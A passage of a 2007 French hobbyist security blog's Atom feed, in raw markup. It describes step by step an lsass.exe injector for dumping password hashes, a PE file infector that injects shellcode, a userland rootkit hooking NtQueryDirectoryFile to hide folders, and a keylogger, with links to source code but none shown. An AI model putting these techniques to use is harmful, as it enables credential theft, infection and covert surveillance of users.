src="http://2.bp.blogspot.com/_kuo-yDTqvqc/R3I47Glp2WI/AAAAAAAAAB8/3QdiAIrQRyg/s400/s4mmy2.png" alt="" id="BLOGGER_PHOTO_ID_5148239912069880162" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;Et enfin mon petit code :&lt;br /&gt;- L'injecteur : &lt;a href="http://overclok.free.fr/Codes/s4mmy/s4mmy.htm"&gt;s4mmy.c&lt;/a&gt;.&lt;br /&gt;               - La dll : &lt;a href="http://overclok.free.fr/Codes/s4mmy/sc0ubi.html"&gt;sc0ubi.c&lt;/a&gt;.&lt;br /&gt;   &lt;br /&gt;Liens et outils utiles :&lt;br /&gt;&lt;br /&gt;-Les sources du projet pwdump -&gt; &lt;a href="http://www.google.com/codesearch?hl=fr&amp;amp;q=show:XLfFm6CSy7k:uYtRtXzYO5g&amp;amp;sa=N&amp;amp;ct=rdp&amp;amp;cs_p=http://www.openwall.com/passwords/dl/pwdump/pwdump2.zip&amp;amp;cs_f=pwdump2"&gt;http://www.google.com/codesearch?hl=fr&amp;amp;q=show:XLfFm6CSy7k:uYtRtXzYO5g&amp;amp;sa=N&amp;amp;ct=rdp&amp;amp;cs_p=http://www.openwall.com/passwords/dl/pwdump/pwdump2.zip&amp;amp;cs_f=pwdump2&lt;/a&gt;&lt;br /&gt;- Et notre fidèle LordPe, pour aller voir l'Export Address Section de samsrv.dll par exemple.&lt;br /&gt;- Et biensure une machine virtuelle.&lt;br /&gt;- LM Hash -&gt; &lt;a href="http://en.wikipedia.org/wiki/LM_hash"&gt;http://en.wikipedia.org/wiki/LM_hash.&lt;/a&gt;&lt;br /&gt;- NTLM Hash -&gt; &lt;a href="http://en.wikipedia.org/wiki/NTLM"&gt;http://en.wikipedia.org/wiki/NTLM&lt;/a&gt;.&lt;br /&gt;&lt;br /&gt;Voilà pour cette article, en espérant que ça servira a certains cya.&lt;br /&gt;scoubidoubidou !&lt;br /&gt;&lt;br /&gt;PS : merci santa -&gt; &lt;a href="http://assiste.com.free.fr/p/services_windows/gestionnaire_de_comptes_de_securite.html"&gt;http://assiste.com.free.fr/p/services_windows/gestionnaire_de_comptes_de_securite.html&lt;/a&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/5190877782491799334-8870149034403058741?l=0vercl0k.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://0vercl0k.blogspot.com/feeds/8870149034403058741/comments/default' title='Publier les commentaires'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=5190877782491799334&amp;postID=8870149034403058741' title='0 commentaires'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/5190877782491799334/posts/default/8870149034403058741'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/5190877782491799334/posts/default/8870149034403058741'/><link rel='alternate' type='text/html' href='http://0vercl0k.blogspot.com/2007/12/manipulate-lsassexe-for-fun-and-profit.html' title='Manipulate lsass.exe for fun and profit.'/><author><name>0vercl0k</name><uri>http://www.blogger.com/profile/04851747716024429465</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://4.bp.blogspot.com/_kuo-yDTqvqc/R3I4rmlp2VI/AAAAAAAAAB0/A6i9ZOhGQZ0/s72-c/s4mmy.png' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-5190877782491799334.post-8026195852922660945</id><published>2007-12-22T03:40:00.000-08:00</published><updated>2008-12-09T22:04:07.751-08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='defigutte1'/><category scheme='http://www.blogger.com/atom/ns#' term='PE'/><category scheme='http://www.blogger.com/atom/ns#' term='readprocessmemory'/><category scheme='http://www.blogger.com/atom/ns#' term='ajout section'/><category scheme='http://www.blogger.com/atom/ns#' term='ajouter une section'/><category scheme='http://www.blogger.com/atom/ns#' term='portable executable'/><category scheme='http://www.blogger.com/atom/ns#' term='Corruption PE'/><title type='text'>Ownz fucking PE ou Comment corrompre un binaire?</title><content type='html'>Bonjour à tous,&lt;br /&gt;En ce début de vacance, j'en profite pour vous faire part d'un petit article plutôt sympathique je trouve.&lt;br /&gt;Il portera sur la corruption du Portable Executable, abrégé PE.&lt;br /&gt;J'ai décidé de faire un tel article, pour m'introduire au vxing, ou l'art de créer un virus.&lt;br /&gt;Le but de cet article est non pas de pouvoir comprendre comment un virus se reproduit ou autres, mais de s'amuser avec le PE.&lt;br /&gt;Ce bricolage est, je trouve extremement intérréssant dans le sens ou l'on va jouer au 'bob le bricoleur'.&lt;br /&gt;Le code illustrant l'article est enfaite un petit binaire qui va infecter un PE.&lt;br /&gt;Il va l'infecter en lui faisant éxecuter une messagebox toute simple.&lt;br /&gt;Je vous expose donc la technique que j'ai utilisé :&lt;br /&gt;&lt;br /&gt;- On mappe le fichier en mémoire pour avoir une plus grande aisance à modifier le PE.&lt;br /&gt;- On va ajouter une entête de section (IMAGE_SECTION_HEADER).&lt;br /&gt;- On va incrementer le membre spécifiant le nombre de section au sein du binaire.&lt;br /&gt;- On incremente la SizeOfImage de la taille de notre section, autrement dit on lui ajoute la taille de notre section.&lt;br /&gt;- On va aussi rediriger le point d'entré de l'éxécutable sur notre futur section.&lt;br /&gt;- On démappe le fichier.&lt;br /&gt;- On l'ouvre CreateFile, on utilise SetFilePointer pour se positionner au PointerToRawData (membre de la structure IMAGE_SECTION_HEADER).&lt;br /&gt;- On écrit en dur notre section.&lt;br /&gt;- On écrit aussi l'adresse du 'vrai' point d'entré.&lt;br /&gt;- On remplit la différence entre la taille écrite et la taille spécifié dans le PE c'est à dire la taille aligné sur le fileAlignment.&lt;br /&gt;&lt;br /&gt;Voilà comment nous allons opérer notre binaire.&lt;br /&gt;J'ai oublié de préciser que notre section sera composée d'un shellcode essentiellement (codé par 0mega7 et modifié par Baboon).&lt;br /&gt;J'ai donc ajouter un jmp à la fin de notre shellcode, c'est pour cela qu'après l'avoir écrit, nous écrivons l'adresse du vrai point d'entré : Pour sauter dessus !&lt;br /&gt;Bon je suis tout à fait d'accord avec vous, c'est un peu laborieux mon histoire, mais en codant ce pseudo-infecteur on y apprend, plusieurs choses comme l'alignement des données.&lt;br /&gt;J'entend déjà d'ici les gouroux vxers me huer, je leur répondrais que c'est une étape avant de coder mon propre petit vx, prochain article peut être :).&lt;br /&gt;Pour réaliser un tel code il faut absolument avoir une documentation détaillé sur le portable executable, biensure, je vous fournis ça en fin d'article.&lt;br /&gt;Je voulais aussi revenir sur l'alignement des données : c'est enfaite avoir une taille multiple d'une autre définit dans le pe, tout simplement pour une manipulation plus aisée.&lt;br /&gt;N'oublier pas d'utiliser LordPE, un outil vraiment génial pour controler les actions menées sur le PE, vérifier le nombre de section et j'en passe.&lt;br /&gt;C'est un peu tout ce que j'ai à dire pour ce petit code, voici :&lt;br /&gt;un petit screenshot :&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://1.bp.blogspot.com/_kuo-yDTqvqc/R2z4KWlp2UI/AAAAAAAAABs/TMfUSWsTC58/s1600-h/OwnzPe.png"&gt;&lt;img style="cursor: pointer;" src="http://1.bp.blogspot.com/_kuo-yDTqvqc/R2z4KWlp2UI/AAAAAAAAABs/TMfUSWsTC58/s400/OwnzPe.png" alt="" id="BLOGGER_PHOTO_ID_5146761330923526466" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;le code : &lt;a href="http://overclok.free.fr/Codes/OwnzFuckingPe.htm"&gt;OwnzFuckingPE.c&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;Liens : - LA documentation -&gt; &lt;a href="http://ivanlef0u.free.fr/repo/windoz/pe/Le_format_PE.pdf"&gt;http://ivanlef0u.free.fr/repo/windoz/pe/Le_format_PE.pdf &lt;/a&gt;.&lt;br /&gt; - Pour vous documenter un peu sur le vxing -&gt; &lt;a href="http://ebixad.next-touch.com/repo/Vxing/Vx%20guide/intro.html"&gt;http://ebixad.next-touch.com/repo/Vxing/Vx%20guide/intro.html &lt;/a&gt;.&lt;br /&gt;&lt;br /&gt;L'article est normalement terminé, mais je tenais à vous faire part d'un petit crackme avec un niveau vraiment simple.&lt;br /&gt;Ce qui m'a intéréssé c'est de coder le keygen, car il fallait tout simplement aller lire dans la mémoire du processus.&lt;br /&gt;Juste un petit code de quelques lignes histoire d'illustrer l'api ReadProcessMemory.&lt;br /&gt;Un petit Screenshot :&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://4.bp.blogspot.com/_kuo-yDTqvqc/R2z37Glp2TI/AAAAAAAAABk/SvHulKUriqg/s1600-h/keygen.png"&gt;&lt;img style="cursor: pointer;" src="http://4.bp.blogspot.com/_kuo-yDTqvqc/R2z37Glp2TI/AAAAAAAAABk/SvHulKUriqg/s400/keygen.png" alt="" id="BLOGGER_PHOTO_ID_5146761068930521394" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;Le petit code : &lt;a href="http://overclok.free.fr/Codes/KeygenDefiGutte1.htm"&gt;KeygenDefiGutte1.c&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;Voilà bonne journée à vous, en esperant que cela vous à intéréssé, cya.&lt;br /&gt;&lt;br /&gt;PS : N'oublier pas de changer les adresses qui sont dites, hardcodé dans le shellcode.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/5190877782491799334-8026195852922660945?l=0vercl0k.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://0vercl0k.blogspot.com/feeds/8026195852922660945/comments/default' title='Publier les commentaires'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=5190877782491799334&amp;postID=8026195852922660945' title='3 commentaires'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/5190877782491799334/posts/default/8026195852922660945'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/5190877782491799334/posts/default/8026195852922660945'/><link rel='alternate' type='text/html' href='http://0vercl0k.blogspot.com/2007/12/ownz-fucking-pe-ou-de-la-corruption-de.html' title='Ownz fucking PE ou Comment corrompre un binaire?'/><author><name>0vercl0k</name><uri>http://www.blogger.com/profile/04851747716024429465</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://1.bp.blogspot.com/_kuo-yDTqvqc/R2z4KWlp2UI/AAAAAAAAABs/TMfUSWsTC58/s72-c/OwnzPe.png' height='72' width='72'/><thr:total>3</thr:total></entry><entry><id>tag:blogger.com,1999:blog-5190877782491799334.post-5253475820171938836</id><published>2007-12-11T10:08:00.000-08:00</published><updated>2008-12-09T22:04:08.289-08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='h0l0c4ust'/><category scheme='http://www.blogger.com/atom/ns#' term='rootkit r3'/><category scheme='http://www.blogger.com/atom/ns#' term='ring3'/><category scheme='http://www.blogger.com/atom/ns#' term='hook NtQueryDirectoryFile'/><category scheme='http://www.blogger.com/atom/ns#' term='rootkit ring3'/><category scheme='http://www.blogger.com/atom/ns#' term='hook api native'/><category scheme='http://www.blogger.com/atom/ns#' term='cacher fichier'/><category scheme='http://www.blogger.com/atom/ns#' term='rootkit userland'/><category scheme='http://www.blogger.com/atom/ns#' term='NtQueryDirectoryFile'/><title type='text'>h0l0c4ust ou l'illustration d'une technique utilisée dans les rootkits ring3.</title><content type='html'>Bonsoir à tous,&lt;br /&gt;Comme chaque semaine ,je vais vous exposer mon petit article et un petit code dans le but d'illustrer le tout.&lt;br /&gt;Après ces plusieurs posts ,j'ai décidé de faire un petit truc plutôt intéréssant pour celui-ci.&lt;br /&gt;En effet il met en action de l'injection de dll ,l'utilisation d'api native ,du hook ( en modifiant l'iat ).&lt;br /&gt;Mon but a donc été de montrer un code pouvant être intégré dans un rootkit ring 3.&lt;br /&gt;Celui-ci va cacher un dossier au processus cible.&lt;br /&gt;Bon à présent je vous expose la technique :&lt;br /&gt;&lt;br /&gt;- Tous d'abord ,nous allons injecter notre dll dans un processus. ( à l'aide d'un d'injecteur )&lt;br /&gt;- Ensuite ,notre dll va allez corrompre l'iat de kernel32.dll ,afin de détourner l'api native ( exporté par ntdll.dll ) NtQueryDirectoryFile.&lt;br /&gt;- Et enfin le plus complexe ,est de réaliser une fonction capable de cacher notre dossier.&lt;br /&gt;&lt;br /&gt;Voilà donc le mode opératoire.&lt;br /&gt;Normalement si vous avez suivis les précédents post ,vous n'aurez aucun problème à injecter la dll ,et corrompre l'iat de kernel32.dll.&lt;br /&gt;Ce qui peut poser problème en revanche,c'est l'élaboration de la fonction qui va cacher notre dossier.&lt;br /&gt;J'ai décidé de ne pas l'expliquer ,car c'est plutôt complexe à expliquer et je vous conseil de faire énormement de test ,de tattonner le tout.&lt;br /&gt;Je vais par contre vous renvoyez vers de la documentation française sur le "Comment faire ?" de la chose ( en fin de page ).&lt;br /&gt;Comme je parlais de rootkit userland ,ce code est loin d'en être un ,tout d'abord le code ne prend en aucun cas le contrôle de l'userland.&lt;br /&gt;Il va s'injecter dans un seul processus donc ,cependant il serait facilement réalisable d'injecter tous les processus lancés au moment de l'éxécution de l'injection.&lt;br /&gt;Mais un petit problème resterait le cas des nouveaux processus : eux ne seraient pas injecter par notre dll.&lt;br /&gt;Enfin bref tout cela pour susciter votre curiosité à vous de jouer à présent.&lt;br /&gt;Un petit screenshot ,injection du notepad.exe :&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://4.bp.blogspot.com/_kuo-yDTqvqc/R17THotNZHI/AAAAAAAAABc/QRf7Wq-8-uY/s1600-h/rk.png"&gt;&lt;img style="cursor: pointer;" src="http://4.bp.blogspot.com/_kuo-yDTqvqc/R17THotNZHI/AAAAAAAAABc/QRf7Wq-8-uY/s400/rk.png" alt="" id="BLOGGER_PHOTO_ID_5142779952643269746" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;Et un second screen ,cette fois-ci plus intéréssant : explorer.exe :&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://1.bp.blogspot.com/_kuo-yDTqvqc/R17S24tNZGI/AAAAAAAAABU/Kjt14I1VZbY/s1600-h/rk2.png"&gt;&lt;img style="cursor: pointer;" src="http://1.bp.blogspot.com/_kuo-yDTqvqc/R17S24tNZGI/AAAAAAAAABU/Kjt14I1VZbY/s400/rk2.png" alt="" id="BLOGGER_PHOTO_ID_5142779664880460898" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;Les codes : &lt;a href="http://overclok.free.fr/Codes/h0l0c4ust/h0l0c4ustInjector.htm"&gt;h0l0c4ust's injector.c&lt;/a&gt;&lt;br /&gt;                &lt;a href="http://overclok.free.fr/Codes/h0l0c4ust/h0l0c4ustIDll.htm"&gt;h0l0c4ust.c&lt;/a&gt; (dll)&lt;br /&gt;&lt;br /&gt;Les documents : - &lt;a href="http://ivanlef0u.free.fr/repo/windoz/hidingfr.txt"&gt;http://ivanlef0u.free.fr/repo/windoz/hidingfr.txt&lt;/a&gt; -&gt; article sur lequel j'ai basé l'élaboration de ma fonction.&lt;br /&gt;         - &lt;a href="http://www.rit.edu/%7Ejrk9185/rootkit/6-7/rootkit.c"&gt;http://www.rit.edu/~jrk9185/rootkit/6-7/rootkit.c&lt;/a&gt; -&gt; une source trouvée ,qui peut aider je pense.&lt;br /&gt; &lt;br /&gt;Voilà en espérant que vous allez bien assimilez la technique.&lt;br /&gt;Bonne fin de soirée à vous cya.&lt;br /&gt;&lt;br /&gt;PS : désolé pour le retard du post ,je suis en pleine période d'examen blanc.&lt;br /&gt;PS2 : j'ai finalement commenté le code de la dll un petit peu .&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/5190877782491799334-5253475820171938836?l=0vercl0k.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://0vercl0k.blogspot.com/feeds/5253475820171938836/comments/default' title='Publier les commentaires'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=5190877782491799334&amp;postID=5253475820171938836' title='8 commentaires'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/5190877782491799334/posts/default/5253475820171938836'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/5190877782491799334/posts/default/5253475820171938836'/><link rel='alternate' type='text/html' href='http://0vercl0k.blogspot.com/2007/12/bonsoir-tous-comme-chaque-semaine-je.html' title='h0l0c4ust ou l&apos;illustration d&apos;une technique utilisée dans les rootkits ring3.'/><author><name>0vercl0k</name><uri>http://www.blogger.com/profile/04851747716024429465</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://4.bp.blogspot.com/_kuo-yDTqvqc/R17THotNZHI/AAAAAAAAABc/QRf7Wq-8-uY/s72-c/rk.png' height='72' width='72'/><thr:total>8</thr:total></entry><entry><id>tag:blogger.com,1999:blog-5190877782491799334.post-8397812638263863110</id><published>2007-12-01T04:42:00.000-08:00</published><updated>2008-12-09T22:04:09.026-08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='thread identifier'/><category scheme='http://www.blogger.com/atom/ns#' term='ntdll'/><category scheme='http://www.blogger.com/atom/ns#' term='tid'/><category scheme='http://www.blogger.com/atom/ns#' term='gestion processus'/><category scheme='http://www.blogger.com/atom/ns#' term='thread id'/><category scheme='http://www.blogger.com/atom/ns#' term='api native'/><title type='text'>Ntdll ou la libraire cachée de windoz.</title><content type='html'>Bonsoir à tous ,&lt;br /&gt;Je ne sais pas si vous avez déjà écouté le dernier live des dafts punks ,mais dans ce cas là : lancez la mule ;).&lt;br /&gt;Après cette petite publicitée pour les dieux de l'électro ,je laisse place à mon modeste post de la semaine donc.&lt;br /&gt;Cette-fois ci c'est ce qu'on appelle "l'api native" qui a attiré mon attention.&lt;br /&gt;Je vais vous parler un peu de ce beau bordel.&lt;br /&gt;Tout d'abord il faut savoir que l'on appelle api native ,soit les fonctions exportées par ntdll.dll donc.Celles-ci sont dîtes 'undocumented' ( une poignée de fonction d'écrite dans le DDK ).&lt;br /&gt;Nous parlerons un peu plus tard de l'aspect coding ,ce qui va nous intéressé c'est un peu l'histoire de cette librairie un peu spécial ,je dirais.&lt;br /&gt;Une petite anecdote raconterait qu'il y a quelques années ,nos amis windoziens pensaient justement ,que cette dll ,plutôt mystérieuse ,contenait des fonctions cachées.Cependant leurs craintes étaient loin d'être injustifiées ,car en effet windoz nous a caché pas mal de petites choses.&lt;br /&gt;Deplus cette dll étant loadé par tous les processus ,cela attirait l'oeil ,dirais-je.&lt;br /&gt;&lt;br /&gt;Après cette petite anecdote passons à l'aspect technique ,coding.&lt;br /&gt;Je vous vois d'ici vous demander : - "Mais comment vas-t-on connaître leurs noms etc ..?".&lt;br /&gt;Tout d'abord pour le nom des fonctions exportées par cette dll ,il suffirait d'allez s'engoufrer dans l'EAT ( Export Address Table cf Portable Executable ).&lt;br /&gt;Nous disposons donc de l'information la plus simple à récupérer pour le moment ,leurs noms.&lt;br /&gt;Ensuite plusieurs personnes ce sont décarcassés afin de produire un prototype de ces apis ( voir liens en bas de page ).&lt;br /&gt;Maintenant à nous de jouer.&lt;br /&gt;Après cette brève introduction au sujet ,je vais vous parler de l'exemple accompagnant l'article.Celui-ci va lister le nom des processus ,les treads identifier ( TID ) des threads associés aux processus.&lt;br /&gt;Un code tout à fait basique donc ,qui pouvait être réalisé avec un CreateToolhelp32Snapshot().&lt;br /&gt;Je vais commenter un petit peu le code ,car celui-ci est peut être un peu velu au première abord.&lt;br /&gt;Tout d'abord la technique pour appeler les fonctions :&lt;br /&gt;&lt;br /&gt;- Nous définissons un pointeur de fonction nous permettant d'appeler notre fonction un peu plus tard.&lt;br /&gt;- Vue qu'aucun header à définit ces fonctions nous sommes obligés de trouver son adresse grâce à deux apis : GetModuleHandle() et GetProcAddress().&lt;br /&gt;- Nous assignons donc cette adresse au pointeur de fonction ,notre fonction est prête à étre utilisée.&lt;br /&gt;&lt;br /&gt;Une fois cela compris ,vous avez tout compris car le reste n'est que de la manipulation de structures , de pointeurs de structures etc..&lt;br /&gt;On google un peu pour connaitre les structures associées ,les constantes utiles etc.&lt;br /&gt;Je vous donne un petit screenshot du code en action :&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://3.bp.blogspot.com/_kuo-yDTqvqc/R1FaXfqa57I/AAAAAAAAABE/L-0VCPw31OA/s1600-R/APINative.png"&gt;&lt;img style="cursor: pointer;" src="http://3.bp.blogspot.com/_kuo-yDTqvqc/R1FaXfqa57I/AAAAAAAAABE/DwBmhHRa5nU/s400/APINative.png" alt="" id="BLOGGER_PHOTO_ID_5138988009489360818" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;Ensuite pour bien vérifier la véracitée des informations renvoyées ,nous codons un petit programme faisant appel à l'api GetCurrentThreadId().&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://1.bp.blogspot.com/_kuo-yDTqvqc/R1FaL_qa56I/AAAAAAAAAA8/Buv_Y1I2S_0/s1600-R/TID.png"&gt;&lt;img style="cursor: pointer;" src="http://1.bp.blogspot.com/_kuo-yDTqvqc/R1FaL_qa56I/AAAAAAAAAA8/9eq_QnO3V6c/s400/TID.png" alt="" id="BLOGGER_PHOTO_ID_5138987811920865186" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;Place aux petits codes à présent :&lt;br /&gt;&lt;a href="http://overclok.free.fr/Codes/APINative/dumproc.html"&gt;DumpFuckingProcAndTID.&lt;/a&gt;&lt;br /&gt;&lt;a href="http://overclok.free.fr/Codes/APINative/ThreadID.html"&gt;ThreadID.&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;Voilà voilà ,vous devez être capable à présent avec un minimum de documentation d'utiliser les apis natives.&lt;br /&gt;&lt;br /&gt;Liens :&lt;br /&gt;- &lt;a href="ftp://ftp-developpez.com/windows/cours/api-native.pdf"&gt;ftp://ftp-developpez.com/windows/cours/api-native.pdf&lt;/a&gt; -&gt; Petit article sympa traitant des apis natives&lt;br /&gt;- &lt;a href="http://ivanlef0u.free.fr/repo/windoz/Ntdll_EAT.txt"&gt;http://ivanlef0u.free.fr/repo/windoz/Ntdll_EAT.txt&lt;/a&gt; -&gt; Export Address Table de la librairie.&lt;br /&gt;&lt;div style="text-align: left;"&gt;- &lt;a href="http://msdn2.microsoft.com/en-us/library/ms724509.aspx"&gt;NtQuerySystemInformation Function (Windows)&lt;/a&gt;&lt;br /&gt;&lt;/div&gt;&lt;br /&gt;PS : J'ai déclaré entièrement les structures dans la source afin de pouvoir vous amusez avec ,si vous en avez envie ;).&lt;br /&gt;&lt;br /&gt;Cya.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/5190877782491799334-8397812638263863110?l=0vercl0k.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://0vercl0k.blogspot.com/feeds/8397812638263863110/comments/default' title='Publier les commentaires'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=5190877782491799334&amp;postID=8397812638263863110' title='4 commentaires'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/5190877782491799334/posts/default/8397812638263863110'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/5190877782491799334/posts/default/8397812638263863110'/><link rel='alternate' type='text/html' href='http://0vercl0k.blogspot.com/2007/12/lapi-native-ou-le-secret-de-windoz.html' title='Ntdll ou la libraire cachée de windoz.'/><author><name>0vercl0k</name><uri>http://www.blogger.com/profile/04851747716024429465</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://3.bp.blogspot.com/_kuo-yDTqvqc/R1FaXfqa57I/AAAAAAAAABE/DwBmhHRa5nU/s72-c/APINative.png' height='72' width='72'/><thr:total>4</thr:total></entry><entry><id>tag:blogger.com,1999:blog-5190877782491799334.post-2017064601624173414</id><published>2007-11-25T11:37:00.000-08:00</published><updated>2008-12-09T22:04:09.257-08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='hook souris'/><category scheme='http://www.blogger.com/atom/ns#' term='keylogger'/><category scheme='http://www.blogger.com/atom/ns#' term='hook clavier'/><category scheme='http://www.blogger.com/atom/ns#' term='SetWindowsHookEx()'/><title type='text'>SetWindowsHookEx() ou le hook 'facile' :).</title><content type='html'>Bonsoir à tous ,&lt;br /&gt;je profite de ce petit week-end pour vous faire partager ma 'release' de la semaine .&lt;br /&gt;Après mon post sur les hooks , je voulais continuer dans cette voie-ci&lt;br /&gt;et donc m'intérésser à la fonction SetWindowsHookEx().D'après ce que l'on a put me raconter la fonction va hooker elle-même certaines apis au niveau du kernel ,cela permettant donc d'analyser les messages envoyés par les différentes applications.&lt;br /&gt;Le but est donc de pouvoir 'capter' toutes les informations liées à la souris et au clavier dans mon petit post .Comme précédemment , nous allons choisis la technique par dll ,on appelle ça un hook système.Notre technique sera donc la suivante :&lt;br /&gt;&lt;br /&gt;-Nous allons coder un programme se chargeant d'appeler les fonctions de notre dll.&lt;br /&gt;-Notre programme va donc appeller ces fonctions , les fonctions de filtres vont donc rentrer en actions.&lt;br /&gt;&lt;br /&gt;Pour le code ,j'ai opté pour l'utilisation de variable globale ,permettant de retrouver le handle du hook ou celui du fichier de log ,dans tous le programme par exemple.&lt;br /&gt;Je tiens à préciser aussi que les adresses des fonctions contenus dans les dlls auraient put être retrouvées en chainant plusieurs apis ,seulement j'ai choisis de linker le .a de ma dll pour compiler le programme 'principale'.&lt;br /&gt;La source présente donc une utilisation de la fonction SetWindowsHookEx pour deux types de messages ,à savoir les messages liés à la souris et aux claviers.&lt;br /&gt;Lorsque le pointeur de la souris sera dans le coin inférieur droit ,où dans le coin supérieur gauche le programme enverra un OutputDebugString().&lt;br /&gt;De plus le programme se chargera de logger toutes les touches du clavier ,biensûre .&lt;br /&gt;Et puis je vois déjà tous me pointer du doigt : -"Henn , il ouvre et ferme le fichier à chaque écriture!" et bien oui j'ai choisis d'opérer ainsi car cela me permettait de pouvoir ouvrir le fichier log pendant que le prog tourner par exemple.&lt;br /&gt;Je voulais aussi préciser que ce projet est un petit échec ,je me rend compte que lorsque qu'on 'bourrine' le clavier on aperçoit des inversions de lettres..un problème auquel je n'ai trouvé aucune solution donc si des personnes ont reussis merci de prendre contact avec moi merci.&lt;br /&gt;Donc je vous expose cette petit saloperie de code :&lt;br /&gt;-&lt;a href="http://overclok.free.fr/Codes/Keylogger/keylogz.html"&gt;FuckingKeylogger&lt;/a&gt;.&lt;br /&gt;-&lt;a href="http://overclok.free.fr/Codes/Keylogger/fuckingdll.html"&gt;La dll contenant les hooks&lt;/a&gt;.&lt;br /&gt;&lt;br /&gt;Un petit screenshot :) :&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://4.bp.blogspot.com/_kuo-yDTqvqc/R0nQkbrratI/AAAAAAAAAAk/cNPvyLSum8A/s1600-h/SetWindowsHookEx.png"&gt;&lt;img style="cursor: pointer;" src="http://4.bp.blogspot.com/_kuo-yDTqvqc/R0nQkbrratI/AAAAAAAAAAk/cNPvyLSum8A/s400/SetWindowsHookEx.png" alt="" id="BLOGGER_PHOTO_ID_5136866174317587154" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;cya.&lt;br /&gt;PS : si quelqu'un aurait une façon valable pour gérer le problèmes des deads keys aussi...&lt;br /&gt;&lt;br /&gt;Quelques liens sympa :&lt;br /&gt;- &lt;a href="http://vbman.free.fr/articles/hacking/KEYLOG.htm"&gt;http://vbman.free.fr/articles/hacking/KEYLOG.htm&lt;/a&gt;&lt;br /&gt;- &lt;a href="http://tcharles.developpez.com/simul/"&gt;http://tcharles.developpez.com/simul/&lt;/a&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/5190877782491799334-2017064601624173414?l=0vercl0k.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://0vercl0k.blogspot.com/feeds/2017064601624173414/comments/default' title='Publier les commentaires'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=5190877782491799334&amp;postID=2017064601624173414' title='2 commentaires'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/5190877782491799334/posts/default/2017064601624173414'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/5190877782491799334/posts/default/2017064601624173414'/><link rel='alternate' type='text/html' href='http://0vercl0k.blogspot.com/2007/11/setwindowshookex-ou-le-hook-facile.html' title='SetWindowsHookEx() ou le hook 